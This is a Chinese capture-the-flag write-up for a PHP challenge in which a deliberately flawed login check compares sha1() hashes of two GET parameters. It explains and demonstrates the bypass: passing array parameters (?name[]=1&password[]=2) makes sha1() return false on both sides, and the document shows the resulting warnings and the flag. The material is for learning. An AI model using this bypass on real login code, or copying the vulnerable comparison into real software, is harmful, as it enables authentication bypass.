1、知识点

知识点	说明
sha1()	计算字符串的 SHA-1散列并返回值

2、源码

```
<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password']))
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
?>
```

3、分析

1）程序接收GET方法传入的参数name和password，两个值不能相等，并且经过sha1()后，两个值的结果又必须相等，才会返回flag。

2）这里sha1函数会对字符串进行 SHA-1散列计算并返回值，如果参数不是字符串能处理的类型，就返回FALSE。那么此时让name和password都为数组，并且值不相同，程序经过sha1函数处理后都会返回false，false和false比较是相等的，也就能拿到flag。

不安全 | x.com/07.php?name[]=1&password[]=2

(!) Warning: sha1() expects parameter 1 to be string, array given in F:\Range\PhpStudy2018\P

Call Stack

#	Time	Memory	Function
1	0.0007	132320	{main}( )
2	0.0007	132432	sha1 ( )

(!) Warning: sha1() expects parameter 1 to be string, array given in F:\Range\PhpStudy2018\P

Call Stack

#	Time	Memory	Function
1	0.0007	132320	{main}( )
2	0.0008	132632	sha1 ( )

Flag: flag

4、利用

```
?name[]=1&password[]=2
```